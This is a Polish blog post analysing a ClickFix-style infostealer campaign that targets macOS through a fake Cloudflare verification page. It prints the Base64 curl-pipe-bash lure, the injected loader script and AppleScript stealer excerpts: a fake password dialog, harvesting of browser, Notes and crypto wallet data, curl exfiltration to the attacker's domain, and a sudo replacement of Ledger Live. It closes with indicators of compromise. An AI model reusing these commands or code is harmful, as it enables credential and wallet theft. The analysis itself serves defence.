RE:SØURCE

Kampania typu stealer wymierzona w macOS

Cover Image for Kampania typu stealer wymierzona w macOS
re:sØurce
re:sØurce

Wprowadzenie

Jakiś czas temu, odwiedzając pewną stronę internetową, natknąłem się na podejrzaną witrynę, która przypominała rozwiązanie Cloudflare, ale zawierała instrukcje mające na celu zainfekowanie komputera odwiedzającego.

Przypominała ona znaną kampanię ClickFix, która w przeszłości była wykorzystywana do atakowania użytkowników systemu Windows i nakłaniała ich do uruchamiania złośliwego kodu na swoich komputerach, prowadząc do kradzieży informacji z zainfekowanego urządzenia. W tym przypadku atak był wymierzony w urządzenia działające pod systemem macOS.

Atak pojawia się przy pierwszej wizycie użytkownika na stronie i nie jest wyświetlany podczas kolejnych odwiedzin, co wskazuje na zastosowanie mechanizmu rotacji, utrudniającego łatwe zidentyfikowanie zagrożenia na danej witrynie.


Odkrycie Ataku

Po wejściu na zainfekowaną stronę internetową odwiedzający napotykali następującą zawartość stylizowaną na weryfikację Cloudflare.

Infected Website

Adres URL zainfekowanej strony internetowej został zredagowany na wszystkich obrazach. Pozostawiono wyłącznie domeny powiązane z atakiem oraz samą złośliwą infrastrukturę.

Instrukcja nakazywała użytkownikowi otworzyć aplikację Terminal na swoim komputerze i skopiować wyświetlony tekst za pomocą przycisku Copy.

Ofiara była przekonana, że po naciśnięciu przycisku Copy do schowka został skopiowany następujący tekst:

I am not a robot: Cloudflare Verification ID: 715921

W rzeczywistości przycisk Copy ukrywał złośliwy kod, który był kopiowany do schowka. Kod miał następującą postać:

echo "Y3VybCAtcyBodHRwczovL2dhbW1hLm1ldHJpY3NhZ2dyZWdhdG9yLnRvL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash

Po zdekodowaniu złośliwego ładunku z formatu Base64 można zaobserwować następujące polecenie curl

curl -s https://gamma.metricsaggregator.to/strix/index.php | nohup bash &

W rezultacie ze wskazanego adresu pobierany jest skrypt, który następnie jest uruchamiany jako proces diałający w tle.


Mechanizm Infekcji Strony

Podczas analizy ruchu sieciowego w trakcie ładowania zainfekowanej strony internetowej oraz przeglądania jej źródeł możliwe było zauważenie, że strona pobiera zawartość z następujących zewnętrznych witryn:

https://commonloamprojects.com/k3Ts3rHRRKH6ROP0llTc44DR64XEZms-M3qTZDLi
https://neutralmarlservices.com/hkc4cx1RXWAnuMWLqUuwqS30X97Pv3mA0Nsy-lTcqMK95j

Remote Sources

Po przeanalizowaniu odpowiedzi widać, że witryny te zwracają następujący kod, który jest wstrzykiwany do kodu frontendowego strony w przeglądarce:

; (function (o, q, f, e, w, j) { w = q.createElement(f); j = q.getElementsByTagName(f)[0]; w.async = 1; w.src = e; j.parentNode.insertBefore(w, j); })(window, document, 'script', `https://metricsaggregator.to/s/X.js`);

Injected Payload

Wskazuje to, że złośliwa zawartość imitująca Cloudflare pochodzi ze skryptu X.js, pobieranego z następującego źródła:

https://metricsaggregator.to/s/X.js

Injected Payload

Ponowne odwiedzenie stron hostowanych pod domenami commonloamprojects.com oraz neutralmarlservices.com skutkuje pustą odpowiedzią, co uniemożliwia wielokrotne odtworzenie ataku.

  • commonloamprojects.com

commonloamprojects.com

  • neutralmarlservices.com

neutralmarlservices.com

Takie zachowanie wskazuje na obecność mechanizmu rotacji lub funkcji o charakterze losowym, która udostępnia złośliwą zawartość jedynie w określonym momencie, ponieważ złośliwa strona nie jest wyświetlana użytkownikowi przy każdej wizycie na zainfekowanej stronie.


Skrypt X.js

Wstrzyknięty skrypt X.js całkowicie zastępuje warstwę wizualną zainfekowanej strony internetowej, wyświetlając fałszywą stronę weryfikacyjną podszywającą się pod usługę Cloudflare.

Skrypt zatrzymuje ładowanie bieżącej strony i usuwa atrybuty strony (takie jak class, id, style itd.) z głównych elementów, skutecznie czyszcząc strukturę DOM.

window.stop();
for (let el of [document.documentElement, document.head, document.body]) {
    for (let at of [["class", "style", "lang", "id", "dir"]]) {
        el.removeAttribute(at);
    }
}

Funkcja decode() jest wykorzystywana do odszyfrowania kodu HTML przechowywanego w zmiennej frame1Source.

function decode(base64Input) {
    const binaryString = atob(base64Input);
    const utf8Bytes = new Uint8Array([...binaryString].map(char => char.charCodeAt(0)));
    return new TextDecoder().decode(utf8Bytes);
}

Na podstawie tej zawartości kod tworzy pełnoekranowy element <iframe> i ładuje do niego treść imitującą kontrolę bezpieczeństwa Cloudflare.

W ten sposób skrypt całkowicie nadpisuje cały interfejs użytkownika własnym, fałszywym widokiem.

let frame1 = createFrame("frame-1", decode(frame1Source))
document.body.appendChild(frame1);

Złośliwym elementem kodu jest zmienna winda, która zawiera wcześniej opisany złośliwy ładunek skopiowany przez użytkownika.

const winda = `echo "Y3VybCAtcyBodHRwczovL2dhbW1hLm1ldHJpY3NhZ2dyZWdhdG9yLnRvL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash`;

Skrypt wykonuje fingerprinting systemu operacyjnego użytkownika za pomocą funkcji getOS(), która w obecnej wersji skryptu jest wyłączona.

Obecnie można zauważyć, że autor złośliwego skryptu celowo zakomentował dynamiczne wykrywanie systemu i na sztywno ustawił wartość userOS = "mac".

function getOS() {
    const ua = navigator.userAgent;
    if (/(tablet|ipad|playbook|silk)|(android(?!.*mobi))/i.test(ua)) return "tablet";
    if (/Mobile|iP(hone|od)|Android|BlackBerry|IEMobile|Kindle|Silk-Accelerated|(hpw|web)OS|Opera M(obi|ini)/.test(ua)) return "mobile";
    if (ua.includes("Macintosh") || ua.includes("MacIntel") || ua.includes("MacPPC") || ua.includes("Mac OS")) return "mac";
    if (ua.includes("Windows") || ua.includes("Win64") || ua.includes("Win32")) return "windows";
    return "unknown";
}
// const userOS = getOS();
const userOS = "mac";

Zmienna winda jest następnie wykorzystywana do wstrzyknięcia złośliwego kodu do źródła strony, jak pokazano w poniższym fragmencie kodu:

if (userOS === "mac" || userOS === "unknown") {
    macInstructions.classList.remove('hidden');
    copyMacCommandButton.addEventListener('click', () => copyToClipboard(winda, copyMacCommandButton));
} else if (userOS === "windows") {
    windowsInstructions.classList.remove('hidden');
    const windowsCompatibleCommand = `windows_command`;
    copyWindowsCommandButton.addEventListener('click', () => copyToClipboard(windowsCompatibleCommand, copyWindowsCommandButton));
} else {
    unknownOsInstructions.classList.remove('hidden');
    copyUnknownOsCommandButton.addEventListener('click', () => copyToClipboard(winda, copyUnknownOsCommandButton));
}

Jak widać, rozwiązanie to jest wyraźnie dostosowane do systemu macOS.

Zmienna windowsCompatibleCommand nie została znaleziona nigdzie w złośliwym pliku X.js, co wskazuje, że na chwilę obecną kampania została zaprojektowana tak, aby działać wyłącznie przy atakach wymierzonych w system macOS.


Pobranie Złośliwego Kodu

Gdy uzyskamy dostęp do strony gamma.metricsaggregator.to za pomocą przeglądarki internetowej, czyli strony, z której pobierany jest złośliwy kod, zauważymy, że zwraca ona odpowiedź HTTP 418 "I'm a teapot".

https://gamma.metricsaggregator.to/strix/index.php

I'm a teapot response

HTTP/2 418 I'm a teapot
Server: openresty
Date: Sun, 09 Nov 2025 13:12:52 GMT
Content-Type: text/html; charset=UTF-8
Cache-Control: no-store

I'm a teapot response intercepted

Po zmianie nagłówka User-Agent na odpowiadający narzędziu curl, zgodnie z założeniami atakującego zawartymi w złośliwym ładunku, można zaobserwować, że strona zwraca złośliwy kod.

User-Agent: curl/8.1.9

Malicious code

Strona ta zwraca złośliwy kod napisany w języku AppleScript.


Analiza Złośliwego Kodu

Analizując powyższy kod pobrany ze złośliwej strony internetowej, można stwierdzić, że jest to złośliwe oprogramowanie typu infostealer, wymierzone w systemy macOS.

Skrypt zbiera dane z zainfekowanego urządzenia, a następnie kompresuje je do archiwum ZIP.

Dane zebrane przez skrypt są kompresowane w pliku /tmp/salmonela.zip, a następnie wysyłane do złośliwej domeny https://metricsaggregator.to przy użyciu polecenia curl poprzez żądanie HTTP POST z niestandardowym nagłówkiem X-Bid.

do shell script "curl -X POST -H \"X-Bid: f48fbe39836779cadbf148b5952919fd\" \
-F \"lil-arch=@/tmp/salmonela.zip\" \
https://metricsaggregator.to/api/data/receive"

Skrypt zmusza użytkownika do wprowadzenia hasła w fałszywym oknie systemowym, po czym je weryfikuje i zapisuje lokalnie. Do sprawdzenia poprawności hasła wykorzystywane jest polecenie dscl . authonly.

  • Wyświetlanie fałszywego okna i odczyt hasła
display dialog "In order to process action required. Input device password to authorize your access:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "macOS Protection Service" with hidden answer
set password_entered to text returned of result
  • Weryfikacja poprawności hasła
do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
  • Zapisanie pozyskanego hasła na dysku
writeText(password_entered, systemProfile & "/.pwd")

Zbieranie danych z przeglądarek internetowych oraz aplikacji Notatki

Złośliwy skrypt próbuje pozyskać dane przechowywane w standardowych plikach przeglądarek internetowych.

Przeszukuje katalogi profili Firefox i kopiuje dane logowania, pliki cookie, historię formularzy oraz klucze szyfrowania.

on parseFF(browsername, firefox, writemind)
  try
    set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
    set fileList to list folder firefox without invisibles
    repeat with currentItem in fileList
      set brPrName to browsername & "_" & currentItem
      set savePath to writemind & "Brs/" & brPrName
      set extSavePath to writemind & "Exts/" & brPrName
      firewallets(firefox & currentItem, extSavePath)
      set readpath to firefox & currentItem
      repeat with FFile in myFiles
        readwrite(readpath & FFile, savePath & FFile)
      end repeat
    end repeat
  end try
end parseFF

W przypadku przeglądarek opartych na silniku Chromium skrypt przeszukuje katalogi profili, kopiując między innymi pliki cookie, dane logowania, pliki Web Data oraz zawartość katalogów Local Extension Settings i IndexedDB.

set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}

Próbuje on również pozyskać dane związane z przeglądarką Safari oraz aplikacją Notes:

  • Safari
try
    set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
    duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
    set name of result to "saf1"
end try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
  • Notes
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
        set notesFolder to folder notesFolderPath
        set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
        repeat with aFile in notesFiles

Zbieranie danych portfeli kryptowalut

Skrypt definiuje listę lokalizacji popularnych portfeli kryptowalut i kopiuje ich katalogi do tymczasowego katalogu Wlt/.

set walletMap to {{"Electrum", systemProfile & "/.electrum/wallets/"}, {"Coinomi", library & "Coinomi/wallets/"}, {"Exodus", library & "Exodus/"}, {"Atomic", library & "atomic/Local Storage/leveldb/"}, {"Wasabi", systemProfile & "/.walletwasabi/client/Wallets/"}, {"Ledger_Live", library & "Ledger Live/"}, {"Monero", systemProfile & "/Monero/wallets/"}, {"Bitcoin_Core", library & "Bitcoin/wallets/"}, {"Litecoin_Core", library & "Litecoin/wallets/"}, {"Dash_Core", library & "DashCore/wallets/"}, {"Electrum_LTC", systemProfile & "/.electrum-ltc/wallets/"}, {"Electron_Cash", systemProfile & "/.electron-cash/wallets/"}, {"Guarda", library & "Guarda/"}, {"Dogecoin_Core", library & "Dogecoin/wallets/"}, {"Trezor_Suite", library & "@trezor/suite-desktop/"}}
try
    readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
end try
try
    readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
end try

. . .

repeat with deskWallet in walletMap
    try
        GrabFolder(item 2 of deskWallet, writemind & "Wlt/" & item 1 of deskWallet)
    end try

Zbieranie dokumentów i plików użytkownika

Skrypt przeszukuje katalogi Desktop oraz Documents w poszukiwaniu plików o określonych rozszerzeniach (w tym .pdf, .docx, .wallet, .key oraz .jpg), a następnie kopiuje je do katalogu roboczego.

set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "jpeg", "png", "kdbx", "rtf", "jpg"}
try
    set desktopFiles to every file of desktop
    set documentsFiles to every file of folder "Documents" of (path to home folder)
    repeat with aFile in (desktopFiles & documentsFiles)
        set fileExtension to name extension of aFile
        if fileExtension is in extensionsList then
            set fileSize to size of aFile
            if (bankSize + fileSize) < 10 * 1024 * 1024 then
                try
                    duplicate aFile to folder destinationFolderPath with replacing
                    set bankSize to bankSize + fileSize
                end try
            else
                exit repeat
            end if
        end if
    end repeat
end try

Odpowiednie pliki są kopiowane do katalogu docelowego, przy jednoczesnym śledzeniu ich łącznego rozmiaru. Proces zatrzymuje się po osiągnięciu limitu 10 MB.

Pakowanie i eksfiltracja danych

Po zakończeniu procedury zbierania danych przez skrypt, zgromadzone dane są kompresowane i wysyłane na zewnętrzny serwer kontrolowany przez atakującego.

do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/salmonela.zip"

Dane są następnie eksfiltrowane przy użyciu funkcji send_data().

send_data(0, outUsername, serverIP, isBot)
on send_data(attempt, outUsername, serverIP, isBot)
  try
    set result_send to (do shell script "curl -X POST -H \"X-Bid: " & "f48fbe39836779cadbf148b5952919fd" & "\" -F \"lil-arch=@/tmp/salmonela.zip\" https://metricsaggregator.to/api/data/receive")
  on error
    if attempt < 10 then
      delay 60
      send_data(attempt + 1, outUsername, serverIP)
    end if
  end try
end send_data

Funkcja próbuje przesłać skompresowane archiwum na zdalny serwer za pomocą żądania HTTP POST. W przypadku niepowodzenia transmisji podejmuje do dziesięciu prób ponownego wysłania, odczekując 60 sekund pomiędzy kolejnymi próbami.

Po zakończeniu eksfiltracji danych skrypt usuwa katalogi powiązane ze swoim działaniem.

do shell script "rm -r " & writemind
do shell script "rm /tmp/salmonela.zip"

Second Stage

Widzimy również, że po zakończeniu działania głównej części skryptu wywoływana jest funkcja toast(), która uruchamiana jest z użyciem wcześniej pozyskanego hasła użytkownika.

W obecnej wersji skryptu funkcja ta jest zakomentowana, dlatego nie zostanie wykonana.

try
    -- toast(password_entered, "Ledger Live", "https://gamma.metricsaggregator.to/7379951eb23e20eac7369c2b91a325d2_b_l.php", "lekkjah", "lekkoisk")
end try

Analiza sposobu działania tej funkcji pokazuje, że odpowiada ona za pobranie, rozpakowanie oraz instalację ładunku second stage na systemie ofiary.

on toast(sampleVal, anotherVal, thirdVal, fourthVal, fifthVal)
  set downloadURL to ""
  
  set appName to "" & anotherVal & ".app"
  set appPath to "/Applications/" & appName
  set tempDir to "/tmp/"
  set zipFile to tempDir & fourthVal & ".zip"
  set extractDir to tempDir & fifthVal
  
  try
    do shell script "curl -L -o '" & POSIX path of zipFile & "' '" & thirdVal & "'"
    try
      do shell script "pkill -9 '" & appName & "'"
    end try
    
    delay 1
    
    do shell script "mkdir -p '" & POSIX path of extractDir & "'"
    do shell script "unzip -q '" & POSIX path of zipFile & "' -d '" & POSIX path of extractDir & "'"
    do shell script "rm -r '" & POSIX path of extractDir & "/__MACOSX/" & "'"
    
    set findAppResult to do shell script "find '" & POSIX path of extractDir & "' -maxdepth 2 -name '*.app' -type d | head -1"
    set newAppPath to findAppResult
    
    if newAppPath is "" then
      do shell script "rm -rf '" & POSIX path of extractDir & "'"
      do shell script "rm -f '" & POSIX path of zipFile & "'"
      return
    end if
    
    do shell script "echo \"" & sampleVal & "\" | sudo -S rm -rf '" & POSIX path of appPath & "'"
    
    delay 1
    
    do shell script "echo \"" & sampleVal & "\" | sudo -S cp -r '" & newAppPath & "' '" & POSIX path of appPath & "'"
    
    do shell script "rm -rf '" & POSIX path of extractDir & "'"
    do shell script "rm -f '" & POSIX path of zipFile & "'"
  end try
end toast

Możemy zaobserwować, że second stage jest pobierany z określonej lokalizacji.

https://gamma.metricsaggregator.to/7379951eb23e20eac7369c2b91a325d2_b_l.php

Podobnie jak w przypadku pierwotnego kodu, pobranie go jest uzależnione od nagłówka User-Agent odpowiadającemu narzędziu curl:

Content-Disposition: attachment; filename="GLM.zip"

Second Stage

Zauważamy, że pobierany jest skompresowany katalog GLM.zip stanowiący second stage ataku.

Na podstawie kodu funkcji toast() wiemy, że plik ZIP zostanie rozpakowany i zainstalowany na zainfekowanym urządzeniu jako aplikacja Ledger Live.

Archiwum ZIP jest rozpakowywane przy użyciu następującego polecenia:

do shell script "curl -L -o '" & POSIX path of zipFile & "' '" & thirdVal & "'"

Następnie istniejąca aplikacja Ledger Live, prawdopodobnie podszywająca się pod aplikację Ledger Wallet, jest usuwana i zastępowana złośliwym kodem.

do shell script "echo \"" & sampleVal & "\" | sudo -S rm -rf '" & POSIX path of appPath & "'"
do shell script "echo \"" & sampleVal & "\" | sudo -S cp -r '" & newAppPath & "' '" & POSIX path of appPath & "'"

Na końcu procesu pobierania i instalacji second stage skrypt usuwa pliki tymczasowe oraz katalogi.

do shell script "rm -rf '" & POSIX path of extractDir & "'"
do shell script "rm -f '" & POSIX path of zipFile & "'"

Złośliwe Domeny

Na podstawie powyższej analizy możemy zidentyfikować następujące złośliwe domeny wykorzystywane w tej kampanii:

metricsaggregator.to
gamma.metricsaggregator.to
commonloamprojects.com
neutralmarlservices.com

Na podstawie danych z serwisu SecurityTrails możemy stwierdzić, że domena metricsaggregator.to jest aktywna od 31 października 2025 r. i jest zarejestrowana pod adresem IP 23.177.184.137.

Malicious Domains

Możemy również zidentyfikować następujące subdomeny z nią powiązane:

fls.metricsaggregator.to
brsp.metricsaggregator.to
gamma.metricsaggregator.to
plsp.metricsaggregator.to
metricsaggregator.to
trousers.metricsaggregator.to
sklk.metricsaggregator.to

metricsaggregator.to Subdomains

Jedną z nich jest gamma.metricsaggregator.to, którą również zaobserwowaliśmy w tej kampanii. Jest ona także powiązana z adresem IP 23.177.184.137.

gamma.metricsaggregator.to

W przypadku domeny commonloamprojects.com widzimy, że jest ona aktywna od 17 września 2025 r., a jej hosting zmieniał się na przestrzeni czasu. Obecnie jest ona powiązana z adresem IP 185.251.89.109.

commonloamprojects.com

Podobna sytuacja dotyczy domeny neutralmarlservices.com, która również jest aktywna od 17 września 2025 r. i jest także powiązana z adresem IP 185.251.89.109.

neutralmarlservices.com


Indicators of Compromise

Poniższa tabela przedstawia Indicators of Compromise (IoCs) zaobserwowane w tej kampanii. Zawiera ona złośliwe pliki zidentyfikowane podczas analizy wraz z odpowiadającymi im kryptograficznymi wartościami.

Skrypt salmonela.scpt jest złośliwym plikiem AppleScript, który jest pobierany z domeny gamma.metricsaggregator.to.

Złośliwy plik Hash MD5
X.js 8b974bf976b0729edec27aec39f666f2
salmonela.scpt 535104b5ec773b9c4dbaab6527c4f88a
GLM.zip f64d1ec3f0f99faa6d119bee34987648

Źródła

Istnieje wiele interesujących artykułów omawiających kampanie wymierzone w macOS, bardzo podobnych do przypadku opisanego w tym wpisie, które mogą zainteresować czytelnika.